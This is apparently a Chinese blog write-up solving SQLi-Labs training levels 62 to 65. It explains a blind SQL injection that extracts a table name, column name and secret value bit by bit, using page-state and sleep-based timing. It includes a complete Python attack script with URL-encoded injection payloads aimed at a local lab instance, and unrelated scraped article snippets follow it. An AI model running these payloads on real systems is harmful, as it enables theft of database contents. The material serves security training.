[靶场] SQLi-Labs Less62-Less69

2023-10-31

66.Less62

请求方式 注入方式 备注
GET 盲注 130次语句以内完成

分析

我们需要指定challenges数据库中表名,表名为10个字符(包含数字和小写字母)。

还需要知道表中的字段名,字段名为secret_XX,XX为4个字符(包含数字和大写字母)。

字段内容有24个字符(包含数字,大写字母和小写字母)。

  • 采用暴力枚举盲注(使用等于号枚举)需要 10*(10+26)+4*(10+26)+24*(10+26+26) = 1992次
  • 采用二分法盲注(使用大于,小于,等于判断枚举)需要 (10+4+24)*log2(10)+(10+4+24*2)*log2(26)+=418次(理想情况下)。

我们发现id取不同的值,页面返回不同的用户信息(di值从1到12)。

我们可以暴力枚举比特位的方法。利用左移(>>)运算符预设要判断的位置

select case bin(ascii(substr(table_name, 1, 1))>>3) & (POW(2,0)+POW(2,1)+POW(2,2))
when 0 then 1
when 1 then 2
when 2 then 3
when 3 then 4
when 4 then 5
when 5 then 6
when 6 then 7
else 8 end, bin(ascii(substr(table_name, 1, 1))),bin(POW(2,0)+POW(2,1)+POW(2,2)), substr(table_name, 1, 1)
from information_schema.tables where table_schema='challenges'

使用上述代码,爆破challenges的第一个表的第一个字符的0-2比特位(3个比特位),并返回某种对应的值。

例如字符'b'的二进制为01100010,低三位为010,和111进行与运算,得到010(十进制为2),根据条件,返回数值3。

上述是根据返回状态的盲注

一个字符8个比特,一次判断出3比特,一个字符判断3次,一共10+4+24=38个字符,大约38*3=114次

保证我们需要的数字为输入参数,我们需要先分析语句的类型为整形或字符型(有没有括号闭合),在利用位运算实现得到指定的数值。

使用手动判断的方法判断出闭合类型为字符型(单引号、括号闭合)

利用位运算得到想要的数值。

但是在网页请求中使用,无法正常执行。

需要我们将&和|进行URL编码,才可以正常执行。实现我们输入的参数id为1,但是返回的结果为我们指定的id为3的信息。同上需要将+使用%2B编码,否则会被php转换为空格。

我们还可以再减少次数,刚才每个字符需要3次请求,我们可以再缩减到2次。

我们请求后除了有显示的不同状态,其实还有一个状态--请求时间或者延时。

我们每次可以获取3bit数据,我们再利用sleep判断获取1bit信息,这样我们就可以每次获取4bit数据,并且实现一个字符2次请求即可。

具体的是第一次请求,获取0-2位时,使用if判断第6位的数据;第二次请求,获取3-5位时,使用if连接判断第7位的数据。

例如上图,获取了0-2位的数据(需要减一,即实际为7),通过查询时间,判断出第6位的数据为1,同时获取4比特数据。

得到第一个字符的二进制位:x1xxx111。

例如上图,获取了3-5位的数据(需要减一,即实际为4),通过查询时间,判断出第7位的数据为0,同时获取4比特数据。

得到第一个字符的二进制位:01100111,即位字符'g'。

这样,一共24+10+4=38个字符,每个字符2次请求,共需要38*2=76次请求即可。

20次请求,成功爆破出表名:

我们可以爆破出字段名和内容。

脚本:

# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time

import requests
import re
import os

sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from information_schema.@0s where table_schema=database() @4 )  --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from @4 )  --+"
url = 'http://127.0.0.1:8003/Less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)<br>'
rc = 1


def main():

    if os.path.exists('./bsl.txt'):
        print('文件存在')
        with open('./bsl.txt', 'r') as f:
            res = f.read().split('\n')
            for i in res:
                if i != '':
                    state_list.append(i)
    else:
        print('文件不存在')

        # 0.爆破状态表
        print('收集状态表')
        state_list.append('0')
        for i in range(1, pow(2, 3)+2):
            u = url + str(i)
            respond = requests.get(u)
            state_list.append(re.findall(rp, respond.text)[0])
            print('.', end='')

        with open('./bsl.txt', 'w') as f:
            f.write('\n'.join(state_list))
            print('写入完成')

    print('爆破状态表:')
    print(state_list)

    # @ 表名
    table_name_list = []
    if input('是否指定表名? y/n:') != 'y':
        print('[~]进行表名判断')
        for i in range(1, 11):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('table', i, 0, 6)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            # 2.判断 字符的第3,4,5,7位
            state = req('table', i, 3, 7)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            table_name_list.append((chr(c)))
        table_name = ''.join(table_name_list)
        print('爆破表名为: [ {} ]'.format(table_name))
    else:
        table_name = input('输入表名:').strip()

    # @字段名
    column_name_list = []
    offset = 7
    if input('是否指定字段名? y/n:') != 'y':
        print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来')
        for i in range(1, 5):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('column', i+offset, 0, 6, table_name=table_name)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            # 2.判断 字符的第3,4,5,7位
            state = req('column', i+offset, 3, 7, table_name=table_name)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            column_name_list.append((chr(c)))
        column_name = 'secret_' + ''.join(column_name_list)
        print('爆破的字段名为:[ {} ]'.format(column_name))
    else:
        column_name = input('输入字段名:').strip()

    # 9u8573nri2
    # secret_WJWE
    # @字段内容
    value_list = []
    print('[~]字段值进行枚举中....')
    for i in range(1, 25):
        c = 0
        # 1.判断 字符的第0,1,2,6位
        # 010 大写字母; 011 小写字母; 001 数字
        state = search(column_name, table_name, i, 0, 6)
        c = c | state[0] | state[1] << 6
        # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

        # 2.判断 字符的第3,4,5,7位
        state = search(column_name, table_name, i, 3, 7)
        c = c | state[0] << 3 | state[1] << 7
        # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

        print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
        value_list.append((chr(c)))
    value = ''.join(value_list)

    print('爆破表名为: [ {} ]'.format(table_name))
    print('爆破的字段名为:[ {} ]'.format(column_name))
    print('[!]{}的值为:[ {} ]'.format(column_name, value))


def req(type, i, co, ci, **kwargs):
    global rc
    rl = []
    t = sql_cmd
    if type == 'column':
        ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name'])
    else:
        ep = ''
    sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep)

    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl


def search(cn, tn, i, co, ci):
    global rc
    rl = []
    t = sql_search
    sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci))

    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl


def getIndex(bl, value):
    for i, e in enumerate(bl):
        if e == value:
            return i
    return -1


if __name__ == '__main__':
    main()

67.Less63

请求方式 注入方式 备注
GET 盲注 130次语句以内完成

')闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1')%260%7c"

68.Less64

请求方式 注入方式 备注
GET 盲注 130次语句以内完成

))闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1))%260%7c"

69.Less65

请求方式 注入方式 备注
GET 盲注 130次语句以内完成

以")闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1\")%260%7c"

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[靶场] SQLi-Labs Less62-Less69 的相关文章

  • 《数据库系统概论》课程之实验五流六

    前序 数据库系统概论 课程之实验五 通过嵌入式SQL访问数据库 1实验目的 熟悉通过嵌入式SQL 主语言为C语言 编程访问数据库 实验以C语言为例作说明 实作可以选择任意语言实现本实验 2实验平台和实验工具 在KingbaseES数据库管理
  • oracle 如何修改表空间,ORACLE修改表空间方法

    1 使用imp exp 先导出源库 再建立新库把表空间建立好 而后再导入 听说这样能够 前提是新的库里面不能有与源库相同名字的表空间 有待验证 2 使用脚本进行修改 据目前所了解 正长状况下须要修改表的空间和表的索引的空间 若是涉及到BOL
  • 【OJ比赛日历】快周末了,不来一场比赛吗? #09.09-09.15 #15场

    CompHub 1 实时聚合多平台的数据类 Kaggle 天池 和OJ类 Leetcode 牛客 比赛 本账号会推送最新的比赛消息 欢迎关注 以下信息仅供参考 以比赛官网为准 目录 2023 09 09 周六 5场比赛 2023 09 10
  • 常用宏定义运算

    define DLT x y x gt y x y y x define MIN x y x gt y y x define MAX x y x gt y x y define EQU x y DLT x y
  • 更改 Python 的 pip install 默认使用的pip库以及默认安装路径

    时间 2018 10 07 题目 更改 Python 的 pip install 默认使用的pip库以及默认安装路径 目录 一 更改 Python 的 pip install 默认使用的pip库 二 更改 Python 的 pip inst
  • OJ# 384 敲七

    题目描述 有 N 个人在玩一种 敲7 游戏 游戏的规则是这样的 第 x 个人从 t 开始报数 然后按顺序报数 当某人报的数是 7 的倍数或数字中含有 7 时 便被淘汰 剩下的人继续报数 直到只剩下一个人 现求最终剩下的人编号 输入 一行三个
  • 示例:Scala读取xml文件

    test xml内容如下
  • RestTemplate使用JSON发送Post请求

    RestTemplate使用JSON发送Post请求 本文我们说下如何使用Spring的 RestTemplate调用post请求 发送json内容 1 定义服务端web接口 1 1 定义业务接口 先定义Person实体类表示post请求的
  • Unity+UWP+wIfi+电量

    听师傅说做这个得懂UWP 但素我不懂 不过也没关系啦 谁叫我我有个棒棒哒师傅呐 参考资料 https docs microsoft com en us uwp api windows devices wifi wifiavailablene
  • 2018年年终总结

    终于迎来了又一个寒假 又到了年终总结的时候了 其实这份总结 应该是12月31号就该写了 但想着实验室年会总要梳理一遍 一直拖着没写 然而年会的总感觉太过于学术 还是希望能写一份个人的总结 为今年画上一个句号 总归少了点仪式感 但是晚来的总比

随机推荐

  • Phonegap 之 iOS银联在线支付(js调用ios端银联支付控件)

    Phonegap项目 做支付的时候 当把网站打包到ios或android端成app后 在app上通过wap调用银联在线存在一个问题 就是当从银联支付成功后 再从服务器返回到app客户端就很难实现 wap银联支付流程是这样 客户端 gt 服务
  • Open3D 最小二乘拟合二维直线

    目录 一 算法原理 二 代码实现 三 结果展示 四 测试数据 一 算法原理 平面直线的表达式为 y k x b 1 y kx b tag 1
  • 尚硅谷-MySQL基础教程丨mysql数据库实战(sql数据库优化)

    MySQL基础教程丨mysql数据库实战 sql数据库优化 学习网址 尚硅谷MySql课程 1课程引入 2为什么学习数据库 3 数据库相关概念 DB 数据库 存储数据的 仓库 DBMS 数据库管理系统 数据库是通过DBMS创建和操作容器 S
  • 反序列化报错:cannot deserialize from Object value (no delegate- or property-based Creator)

    报错信息图 看一下这串英文的意思是什么 那么他说的创建器是什么呢 其实就是类的无参构造器 因为Json反序列化需要一个无参构造器 正常情况下JVM会默认给类加个无参构造器 我遇到这个场景是因为我主动给这个类加了一个有参的构造器 这就导致JV
  • 算法通关村-----系列文章整理

    第一关 原来链表这么有用 链表青铜关卡 链表增删改查 链表白银关卡 两个链表第一个公共子节点问题 判断链表是否为回文序列 合并有序链表 链表经典问题之双指针 链表黄金关卡 待更新 第二关 两天写了三次的链表反转 链表反转青铜挑战 三种方式实
  • 【算法学习笔记】24:Prim算法与Kruskal算法(最小生成树)

    Prim算法和Dijkstra算法很相似 而且也按照是不是稀疏图分成了两种 对于稠密图 用朴素版的Prim算法 时间复杂度 O n 2 O n 2
  • 解决微信小程序前台获取不到后台数据

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 正式环境需要域名 需要HTTPS等网络协议 所以在开发的时候要勾选 不校验合法域名 web view 业务域名 TLS 版本以及 HTTPS 证书 以保证微信小程序前台获取
  • wsl1转wsl2 由于未安装所需的特性,无法启动操作

    参考官方修复文档 我尝试了修复 1 取消阻止Hyper V主机计算服务 转换成功 若要取消阻止该服务 必须首先检查是否正在使用防病毒解决方案 如果您使用的是 Windows Defender 请继续执行以下步骤 进入设置 windows安全
  • 总结篇:排序算法

    目录 1 前言 2 排序算法三问 3 排序算法三傻 4 不稳定排序算法 5 稳定排序算法 6 其他算法 7 看图识算法 1 前言 FBI WARNING 本文旨在于以通俗易懂地方式阐述主要排序算法及其特点 什么是排序算法 排序算法 Sort
  • hql取满足条件最新一条记录_统计学习方法 - 序列最小最优化算法(SMO)解析

    本文包括 支持向量机的低效问题 序列最小最优化算法 SMO 的思路 两个变量二次规划的求解方法 变量的选择方法 精度的概念 其它有关数据分析 机器学习的文章及社群 1 支持向量机的低效问题 我们知道支持向量机的拉格朗日乘数法对偶形式的外部最
  • JavaScript基础篇

    JavaScript基础篇 一 介绍 1 JavaScript是一种专门在浏览器编译并执行的编程语言 2 JavaScript主要处理用户与浏览器之间请求问题 3 JavaScript采用 弱类型编程语言风格 对 面向对象思想 来进行实现的
  • Linux基础之常用操作

    这里介绍的是一些非常基本的命令 在linux管理中经常用到 包括用户创建 文件操作 目录操作 vim文本编辑等等 用户切换与创建 whoami命令 用于显示自身用户名称 root linux00 whoami root su命令 用于切换用
  • GIT的使用以及分支的讲解

    文章目录 前言 一 GIT是什么 二 Git的使用 1 在本地初始化一个本地仓库 2 工作区到暂存区 使用流程 3 暂存区到历史区 使用流程 4 文件夹操作 三 Git的分支 1 概述 2 命名规范 3 分支的操作 总结 前言 掌握GIT的
  • 网站存活,ip反查,权重备案查询(方法)

    常用漏洞库 佩奇漏洞文库 https www yuque com peiqiwiki peiqi poc wiki http wiki peiqi tech 白阁漏洞文库 https wiki bylibrary cn E6 BC 8F E
  • 关于CS模式和P2P模式分发文件速度的思考

    cs模式 看到这里我首先想到是 难道不是NF us F min di 吗 然后我想了一会 分发文件并不是先上传再下载 而是一个报文一个报文的上传再一个报文一个报文的下载 也就是说 这边刚上传第一个报文 另一边就开始下载 所以几乎是同时开始上
  • 排序算法(4)----快速排序

    快速排序由C A R Hoare在1962年提出 它的基本思想是 通过一趟排序将要排序的数据分割成独立的两部分 其中一部分的所有数据都比另外一部分的所有数据都要小 然后再按此方法对这两部分数据分别进行快速排序 整个排序过程可以递归进行 以此
  • 基于Java+SpringBoot+vue的租房网站设计与实现(附源码,使用教程)

    基于Java SpringBoot vue的租房网站设计与实现 文章目录 基于Java SpringBoot vue的租房网站设计与实现 一 前言介绍 二 主要技术 三 系统设计 部分 3 1 主要功能模块设计 3 2 系统登录设计 四 数
  • 【Vscode】远程内存占用大

    查看远程服务器上的扩展 依次删除 重新连接后观察内存占用 此扩展占用较高 约2G 前后端项目 依赖较多导致
  • “三天打鱼,两天晒网“的c语言实现

    中国有句俗话叫 三天大鱼 两天晒网 某渔夫从2000年1月1日开始 三天打鱼 两天晒网 问该渔夫在以后的某一天中是在 打鱼 还是在 晒网 需求 用户输入某年某月某日 判断出该日期是在打鱼还是在晒网 思路 1 接收键盘输入的日期 2 计算从2
  • [靶场] SQLi-Labs Less62-Less69

    66 Less62 请求方式 注入方式 备注 GET 盲注 130次语句以内完成 分析 我们需要指定challenges数据库中表名 表名为10个字符 包含数字和小写字母 还需要知道表中的字段名 字段名为secret XX XX为4个字符